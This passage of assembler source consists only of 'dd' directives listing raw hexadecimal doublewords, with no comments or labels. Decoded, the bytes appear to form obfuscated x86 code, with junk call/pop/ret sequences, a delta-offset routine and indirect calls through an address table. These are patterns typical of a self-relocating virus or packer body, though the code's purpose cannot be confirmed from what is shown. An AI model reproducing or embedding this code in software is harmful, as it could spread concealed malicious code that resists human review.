678C9D01h, 2C05D91Dh dd 16FB3BA8h, 924ED216h, 0BDDDB928h, 1AF37508h, 0B07F16BBh dd 8072165Fh, 759B7623h, 8DCAFC2h, 93835054h, 20458A67h dd 1B56DC66h, 3126F5D9h, 0F305E983h, 6AD98BA4h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 4331C352h, 0E9BD6D83h, 0Eh, 4BCF4F11h, 9863EC14h, 0DE89B9C8h dd 8166E0BBh, 0E9C45DE1h, 62h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0B1C35141h, 93AC74Dh, 0F10E4C8Fh dd 0B86061DDh, 1687DCFBh, 0FE9h, 87E4E00h, 304822E5h, 5B11ED6Ch dd 0DA0F1E18h, 0DE961h, 358A0000h, 0A40E0A8h, 0F71522Eh dd 0C30EE197h, 8810Fh, 840F0000h, 2, 0C08B6160h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 23C35040h, 12E9214Fh dd 42000000h, 9F9A8834h, 0AF3DE51h, 0EFF72AFFh, 8B17B017h dd 0A1BD83A4h, 93526h, 0BD830975h, 9353079h, 50197400h dd 0B8C08B53h, 4B9h, 2CA98589h, 9D8D0935h, 937B49Fh, 585BD3FFh dd 3079BD83h, 74000935h, 0B8535017h, 4B9h, 2CA98589h, 9D8D0935h dd 937B140h, 585BD3FFh, 0EE9h, 2400D200h, 0CA2E7248h, 4F4BC92h dd 0FA60DB9h, 1689h, 11E900h, 4B0D0000h, 0A7176C52h, 2989EA13h dd 0B6C4E8E1h, 6A1571B8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0B23EC353h, 6042C89Bh dd 2B4DF81h, 61FC185Dh, 820FC08Bh, 8, 28D0Fh, 61600000h dd 66C18B40h, 0D57AEE81h, 4EBh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 984F24C3h dd 59858D14h, 0F9093526h, 0A4B16090h, 0EE85061h, 49000000h dd 3CF4B485h, 72066A87h, 956ECF2Ch, 5EFEBFC9h, 905E26D7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8CC35242h dd 8B4DE0CBh, 352D4DBDh, 6A006A09h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 673AC352h dd 2B2601F4h, 0AE8AF40h, 61000000h, 0A8371362h, 0E1DF7B52h dd 0FABF0F46h, 6A006A5Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 953FC356h, 0AA327D20h dd 8D0F377Bh, 2, 858DFE8Bh, 938CEB9h, 6A05C083h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 844C355h, 3270DD7Bh, 0AE95Fh, 0E57D0000h, 0DA093F45h dd 4259C6FDh, 91BE5090h, 90436110h, 311B589h, 6A0935h dd 6E9h, 751C3600h, 6A9AF013h, 3195FF00h, 66093503h, 5897D781h dd 9AAB9D8Dh, 0FFFC0938h, 0A5BD8BD3h, 0FF093505h, 35300985h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0F679376Ah, 5213AF42h, 89B58B64h, 0F09352Ah dd 689h, 0BDC78100h, 0E951B913h, 78Dh, 0E8h, 0ED815D00h dd 938CEC3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0E4C35141h, 0B549E927h, 0EDBD8107h, 0D0093528h dd 0F000007h, 17786h, 0EE800h, 660D0000h, 36C0BAB6h, 539F8C5Dh dd 41937E7Bh, 0ED9D8B5Eh, 6A09352Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CFA6C352h dd 0D1C8A0B8h, 12A1B58Bh, 0E3810935h, 100h, 0AADBD8Bh dd 0DB0B0935h, 0B1850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 872B7BC3h, 0AE45CA13h dd 0CD38BD83h, 0F000938h, 5484h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 858960DBh dd 9350615h, 6122ED80h, 7DE9FA8Bh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 9ADEC350h, 9295D95h, 350D1985h, 3885C709h, 10938CDh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E95CC350h, 2Ch, 0C7FFB70Fh, 38CD3885h dd 9, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 4584DEA8h, 2CED9D8Dh, 0FB8B0935h dd 0FEFF2381h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0E96E6C3h, 89289F5Bh, 3504898Dh dd 0CE909h, 0A6510000h, 0E1D25029h, 2EDB20C3h, 5E579611h dd 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0E6ABC355h, 8B6BB97Ah, 4C3F6FAh dd 75840Fh, 0BF660000h, 95FFDF03h, 9352471h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 43C35242h, 291F79FEh dd 1426F0AFh, 0E19D8957h, 5E09350Ah, 1F659501h, 0F500935h dd 88Dh, 52506000h, 585A310Fh, 24048961h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 0BCC35343h, 3156FC60h dd 351F5DBDh, 0E9615B09h, 434h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 75C35747h, 5E96885h, 0A2000000h dd 78917644h, 0B49BD8Bh, 7EBE0935h, 0B02B9665h, 48A0F00h dd 51000000h, 0E65F6160h, 8971E470h, 3511C59Dh, 0D8B60F09h dd 6BAF5h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0DCAF45C3h, 0A0FF60B6h, 0EE9C9h dd 0A3260000h, 0BE740B3h, 9E363387h, 816AC853h, 8166C38Bh dd 0C18834E7h, 14BF04E8h, 817F53A8h, 0B58406EEh, 0E2F76672h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 93C35545h dd 2B02EA42h, 0E950F9D8h, 10h, 0E1D0856Dh, 0F835DAD1h dd 0B08134C1h, 27DAFBD1h, 0E8241C89h, 5, 16B62A7Ch, 0CFDE81C8h dd 5F6E6809h, 28EDB5FFh, 9D890935h, 935083Dh, 27E5B503h dd 95FF0935h, 9350829h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 34C35141h, 8E983h, 96940000h, 16CDAFDCh dd 0B05955h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0E0C35646h, 6A70E607h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 776DC355h, 9E6C6BBBh dd 12E971E4h, 0C4000000h, 0E37094B5h, 8205CEB2h, 84663BC3h dd 0D044748Dh, 0F613C16h, 2A383h, 261CBF00h, 0B60F1591h dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 6BA7080h, 0F000000h, 2E80h, 14E800h, 0A20E0000h dd 0F4757FF2h, 31DF0B9Fh, 4370348Ah, 5D28EAF0h, 0FE927DEh dd 0F8000000h, 7F571Ch, 0B105074Bh, 0F46A2D21h, 8B5EFADAh dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0C47D2A0Dh, 6A04E8C1h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0FA59C355h dd 0E2F766F1h, 242DBD89h, 0BF0F0935h, 0E9D82BF8h, 13h dd 672782C1h, 37FA6F9Bh, 6B384209h, 8D4911CBh, 58F84167h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6FC35646h dd 2DBD0953h, 5F093532h, 880FD82Bh, 1B0h, 3E80EE81h, 7B95087h dd 8B000000h, 352795BDh, 0C18309h, 0F781FA8Bh, 3950764Ah dd 860FD93Bh, 18Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 4DC35646h, 7A38CB44h, 0B3F0C21Bh, 119BD01h dd 13E80935h, 0AF000000h, 0D25539FFh, 703542F4h, 0D0B85F5Ah dd 5B5132FAh, 81663958h, 5F3F7BC7h, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F21C357h, 0C1F6F1BFh, 0F0840F04h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 5F35C355h, 19C4E16Dh, 74BF474Fh, 8B3039E4h, 7195FFF3h dd 6A093524h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FD1C351h, 8E9F3BFh, 79000000h dd 0D17227Ah, 5BF845C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0C1C35242h, 416A08CDh, 819529E5h, 2B09352Fh dd 8E9C3h, 0ACA40000h, 4E84E9E8h, 343D3230h, 0F000008h dd 5286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 24DE8132h, 0E933BC10h, 54h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 44C35545h, 14AE6BBh dd 352CD585h, 0B1B58B09h, 8B093522h, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0B14E6724h dd 9529B134h, 9350351h, 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 98C35747h, 7BCC00EAh, 499D8981h dd 0C7093500h, 350CF985h, 0DBE19D09h, 57006A1Bh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0CF81B833h, 3F920842h, 0B58BC08Bh, 93504DDh, 28EDBD81h dd 7D00935h, 850F0000h, 0Bh, 85FFF98Bh, 93528EDh, 0FFFA8B66h dd 3528EDB5h, 6E809h, 47C00000h, 0FC93AB49h, 12E9h, 0EF131A00h dd 694B9213h, 0EBDD5BBh, 100E9D70h, 5EDFB426h, 82995FFh dd 0B58B0935h, 9350471h, 5678B890h, 0BD8B1234h, 9351601h dd 25C59D89h, 9D8D0935h, 938D5FFh, 0FFF8A3E9h, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 1AA9E1B8h, 0CB4DD57h, 6DB5891Ah, 8B093524h, 3502CDBDh dd 89C18B09h, 3516E5B5h, 4EB09h, 81000000h, 0D1A1F9F7h dd 55006A75h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 21E8B419h, 149CC646h, 8C0Fh, 858D0000h dd 9352659h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0B4C35040h, 0EBFDB109h, 0B58BB62Ch, 93527F9h, 11E890h dd 16FA0000h, 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 662FD59Dh dd 5E2B1CBEh, 0C57ABE50h, 89901CA0h, 3527A59Dh, 11E909h dd 0EC060000h, 34A5FA35h, 0E8E08005h, 0EE4C6FDDh, 6AD552CAh dd 0EE816600h, 6A2AB1h, 77F68166h, 1D858DCCh, 6A0938D8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0F814C351h, 0A9519006h, 0EE9C0AAh, 0DB000000h dd 0C7936441h, 679A4050h, 143F7A94h, 5C08360h, 11F1B589h dd 0BE900935h, 2DA65376h, 0F605150h, 82h, 905F6100h, 5446E681h dd 6A6501h, 1219B58Bh, 6A0935h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 0D6C35747h, 0BF666A58h dd 95FF1064h, 9350331h, 13E8h, 0E7958400h, 0C3FA63C6h dd 0C9308B73h, 0F02D774Fh, 0F86C4D94h, 5FF18B66h, 9AAB9D8Dh dd 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0FE220BC3h, 0EAB0344Ah, 0D3FF3468h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 94C35040h, 1317C8B6h dd 81BFA89Ah, 450370E7h, 6850F60h, 8B000000h, 352E55B5h dd 0B58B5609h, 935255Dh, 985FF5Eh, 0E9093530h, 0F06h, 0E8h dd 0ED815D00h, 938D827h, 0AE58F781h, 0BD81349Eh, 93528EDh dd 7D0h, 1BC860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 57A819C3h, 0BE9h, 0DAE44800h dd 43FBC84Ah, 4010180Dh, 419D8B5Fh, 0F8093504h, 100E381h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 47170CC3h, 0FDB0BF6h, 0F385h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0E9CCEE76h, 0B58909B0h, 93524ADh, 0D655BD83h, 0F000938h dd 5B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 820F6026h, 6, 860Fh, 0DEB80000h dd 612B8A35h, 0B5E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 6FA537E6h, 0BE32D924h dd 5526156h, 0D65585C7h, 10938h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 28C46AC3h dd 7A437267h, 0F9E2AF4h, 57E9F9BFh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0D7E1C357h, 7CD518B8h, 0FCABD79h, 0B523F2B7h, 9352479h dd 0D65585C7h, 938h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0C8D6B0C3h, 9D8D14B7h dd 9350441h, 87D78166h, 0FF2381FCh, 6AFFFFFEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 6A7DC356h, 0FDE0264h, 585h, 0F6816600h, 8C667EABh, 55006ADBh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 9F8267Ch, 351EF9B5h, 4C3F609h, 97840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0C54D2C3h, 166DEBAh, 0FF757BA0h, 35247195h, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 929782Fh, 3504898Dh, 15BD8B09h, 90093524h, 0FB8B6660h dd 8E9h, 43330200h, 795DE505h, 9050617Ch, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0ABC35343h, 736421D6h dd 8D89AFDAh, 9350581h, 0C89C34BFh, 47CE908h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 606059C3h, 810Fh, 0BD8B0000h, 9352DCDh, 0B5896061h dd 9352729h, 1618D01h, 61610935h, 0B70F00B0h, 6A70E6FAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0C3CDC352h, 4376166Ch, 0E4017F5Eh, 4DBD8B71h dd 0F09350Dh, 686h, 0E19D8900h, 0F09352Ch, 6AD8B6h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 6BAF4C3h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 9915C352h, 6AC38Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 133C00C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 85FEC350h, 4DACC781h dd 66F87484h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0B64462C3h, 0AE8BF38h, 7B000000h dd 246B9348h, 707F0795h, 5FF38BA4h, 6AD82Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 336552C3h dd 0CE989ACh, 5C000000h, 0BA334BECh, 79B958DBh, 66920250h dd 502450BFh, 0AEC44BBEh, 241C891Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0B8C35040h, 329E8770h, 0EDB5FF8Dh dd 6A093528h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0B455C350h, 9326F904h, 57572089h dd 0EE9h, 0F2E2D100h, 56FDEABFh, 0A836A5ECh, 5F1B69EBh dd 2995FF5Fh, 6A093508h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 5CA1C350h, 0BFE77976h dd 51D1E260h, 0B0F88B66h, 14E900h, 0CBF80000h, 0C36CFE6Ch dd 5CE2237Dh, 35BC0909h, 499BB94Ah, 70E625A7h, 0B58971E4h dd 9351BA1h, 830F613Ch, 24Ah, 12E9h, 88F0500h, 98859DCh dd 7FF140CDh, 0C50A113Ah, 0FE8A1D0h, 0FA8BD8B6h, 6BAh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 550DAEDEh, 0C38BF94Eh, 31A98529h, 0E8C10935h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0C23C4143h, 0F0BEF7Bh, 6860Fh, 0BD290000h dd 9351681h, 1BC5B589h, 0F7660935h, 56006AE2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0D82B34F6h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 98C35242h dd 6A5852h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 23857EC3h, 1503AA6Ah, 89275EFBh, 3522C9BDh dd 0D82BF809h, 154880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0EBD95FC3h, 0B9F17428h dd 7, 2D2DB58Bh, 0C1830935h, 0E59D0900h, 6609351Ch, 3B29F8BEh dd 13860FD9h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 1E98C357h, 0B58B0B8Fh dd 9350691h, 4A5BD8Bh, 8C660935h, 4C1F6D9h, 0B5840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 95FFEDC3h, 9352471h, 23058529h, 2B5B0935h, 55006AC3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 81665359h, 3D3B17EEh, 834h, 5D860Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 56C01AC3h, 0DF7865C9h, 5DE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 2C7A55Fh, 8D0F622Fh dd 6, 23E1B58Bh, 81600935h, 61FFE4E7h, 8B61F874h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 62828A8Fh, 0BF663776h, 0C38B5C84h, 6AD88Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 992BC5C3h, 0C7138F96h, 352CED85h dd 0EA3DB09h, 0A5AEBE35h, 0C08B1FFAh, 26FFF681h, 0BD81778Eh dd 93528EDh, 7D0h, 38850Fh, 820F0000h, 0 dd 28ED85FFh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 78CD31C3h, 6C8C5C77h, 895323C9h dd 352919B5h, 0B5FF5F09h, 93528EDh, 12E9h, 45D4AF00h, 5FBF0D48h dd 90E8BD77h, 0FF20C723h, 0FF7FAE60h, 35082995h, 56006A09h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 90F28B47h, 0F18B6640h, 3B9BD83h, 0F000935h, 8084h, 0FDBD0900h dd 3093503h, 350DF9B5h, 0F9BD8309h, 93515h, 67840Fh, 0BD890000h dd 9351E9Dh, 3B995FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 3DF268C3h, 50FFD0A3h dd 840FC00Bh, 31h, 52F68166h, 28D8D09h, 8B09354Ch, 35023DBDh dd 4D858909h, 0B8093501h, 5, 0FE1FFF9h, 0C86h, 6850F00h dd 0F000000h, 86h, 0F5BD8300h, 93502h, 62C840Fh, 0B5290000h dd 9351281h, 15F9BD83h, 0F000935h, 61984h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 5173716Eh, 8DF08B66h, 352C098Dh, 0CDBD8B09h, 0C709350Ah dd 0B27C8401h, 4DBF6644h, 0CB018123h, 6A1499CFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 4995C355h, 0E9CA6BE9h, 9, 71145E16h, 68B84739h, 441C7F2h dd 0CE706B34h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 3EC35141h, 90A6D696h, 6E8h, 9E1C7100h, 8968E639h dd 3525B1B5h, 41815E09h, 0D6D71004h, 75BD2931h, 8B09352Ah dd 3502A1BDh, 0E8006A09h, 12h, 1FDE45BAh, 55536164h, 7AFCBFF4h dd 177C4BD7h, 0BBF6DB7h, 5F4F0B19h, 2C09858Dh, 81660935h dd 5004E0C6h, 0CE8h, 93A20900h, 15ECE685h, 0CD5A4E8Eh dd 5B516093h, 61FE8B66h, 2404895Fh, 2F595FFh, 81660935h dd 8DB6B0F7h, 352C098Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0DA614D73h, 0BD8BFCE5h dd 9350295h, 1C7h, 81660000h, 0C7EC91D7h, 441h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 8CE0C4C3h, 0DD55F2B0h, 0DE925BAh, 13000000h, 0DA28B15h dd 0E5543121h, 4DC226F6h, 0BB66F960h, 0B612F43h, 97840FC0h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 139AC356h, 0BD7A226Fh, 8B47620Dh dd 28D8DFAh, 6A09354Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 4928C353h, 0F9DE9706h dd 0E8913D68h, 0Ch, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 5B85Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 7BD6F5C3h, 3758C93h, 3830Fh, 8B660000h, 0FE1FFF3h dd 8D8DF1B7h, 9352C09h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0F4C35646h, 0DC61B76Bh, 668974E0h, 0C74397BFh dd 0AA727C01h, 57006A44h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 563873Bh, 66AE41C5h, 66BC70BFh dd 0D943EE81h, 0CFCB0181h, 6A1499h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8817F7C3h dd 850FF807h, 0Ah, 2D8D8B60h, 0B109352Dh, 41C76111h, 78753C04h dd 57006ACEh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 8142AD17h, 0D7100441h, 6A31D6h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 1D4049C3h, 57545B4Dh, 25A58589h, 6A0935h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F0C35040h, 0A73728F4h dd 6F4E1DF3h, 8B0F52F7h, 2, 0F5EF38Bh, 38Dh, 0F3BF0F00h dd 2C09858Dh, 8D890935h, 9350345h, 0F08B6690h, 51525050h dd 8D0Fh, 0F5F0000h, 66525031h, 0F2FDDBFh, 5A5E5031h, 90585A58h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 21C35343h dd 10E9CC94h, 0DE000000h, 5E847995h, 31F0B0FAh, 8866E7F5h dd 0FF50588Ch, 3502F595h, 8B606009h, 0C58D33C7h, 6109352Ah dd 61D6BF0Fh, 2C098D8Dh, 0F6810935h, 795507ECh, 1C7h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0B2883CC3h, 441C7F5h, 0 dd 0FF32E4BFh, 0FC00B45h, 7184h, 28D8D00h, 0F09354Ch, 0B8Eh dd 6E900h, 4E0D0000h, 8F52941Fh, 5B8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0DF4618F3h, 66480CC2h, 0F9480BFh, 87h, 6AE1FF00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0E6DCC350h, 81669195h, 0F420CCEh, 8D8DFEB7h, 9352C09h dd 0FA8A6056h, 8C0Fh, 5F610000h, 95A501C7h, 850F54CAh dd 11h, 0AE956h, 0B09E0000h, 0A2848D94h, 3138EC0h, 0CB01815Fh dd 661499CFh, 3FBEF28Bh, 0C712CCC2h, 59690441h, 13E9CE5Fh dd 0E9000000h, 781020D2h, 1E974620h, 0AADAC40Ch, 0E18F5453h dd 4181CFD6h, 0D6D71004h, 51006A31h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1DB7470Eh dd 6AC47CAAh, 9858D00h, 6A09352Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C107C350h dd 50FAB70Fh, 66240489h, 42BEE681h, 2F595FFh, 0BF660935h dd 8D8DD94Dh, 9352C09h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 49C35343h, 13E19D89h, 1C70935h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 65C35242h dd 41C71339h, 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0E063341Bh, 88F0F75h dd 0F000000h, 284h, 8BF08B00h, 35043DBDh, 0FC00B09h, 5984h dd 9A06BF00h, 8D8D4821h, 9354C02h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0C5C35242h, 0FB92A377h, 0E88CAACDh dd 0Eh, 9B79F2CCh, 3892CE09h, 0A0EB915Bh, 0BD0BA405h, 9350FD9h dd 5B85Eh, 0BE660000h, 0BD8BFCB5h, 935246Dh, 0CA03E1FFh dd 0FFF143E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0B01536Dh, 0FDF22889h dd 14E909EEh, 6C000000h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh dd 0CAF06344h, 29898A24h, 352281BDh, 0AFA4BE09h, 0C18B65E2h dd 24C1BD89h, 4EB0935h, 0 dd 3D9B58Bh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 858D00C3h, 9352659h, 0F90F78Bh dd 198Ch, 0DE86000h, 81000000h, 9EBD657Ch, 63BDA868h, 0AD96F7BBh dd 0C9B8665Bh, 66506160h, 6A90F08Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0FEBDC356h dd 28CC7F33h, 9ABE6656h, 6A5E69h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 5DC35141h, 0E254889Eh, 8B661A97h dd 0BE006AF3h, 7FCE062Dh, 128B0Fh, 0CE80000h, 4E000000h dd 22B134B1h, 0F6717BDCh, 5ED84ACAh, 0E8E9858Dh, 6A0938h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0E5076BC3h, 81669447h, 83005CDEh, 0F38B05C0h, 880F5090h dd 8, 2870Fh, 5E500000h, 6AF28B90h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0E018BD67h dd 9D896B90h, 935024Dh, 6AF78Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0E8C35545h, 0AD011D2Ch, 3195FF3Ch dd 6A093503h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0A96AC356h, 0F28B669Dh, 9AAB9D8Dh dd 9D290938h, 935067Dh, 0C681D3FFh, 78DD413Bh, 300985FFh dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0FE82CEC3h, 386DFAAh, 0E9F33A51h, 8A5h, 0E8h dd 0ED815D00h, 938E8F3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0F5C35141h, 4269D01Dh, 0CE8166D8h, 0BD81DD76h dd 93528EDh, 7D0h, 124860Fh, 0B58B0000h, 9352ED9h, 12219D8Bh dd 8B660935h, 0E381F7h, 8B000001h, 35307DB5h, 0FDB0B09h dd 9085h, 15BD8900h, 8309350Eh, 38E732BDh, 840F0009h, 32h dd 0E851006Ah, 3, 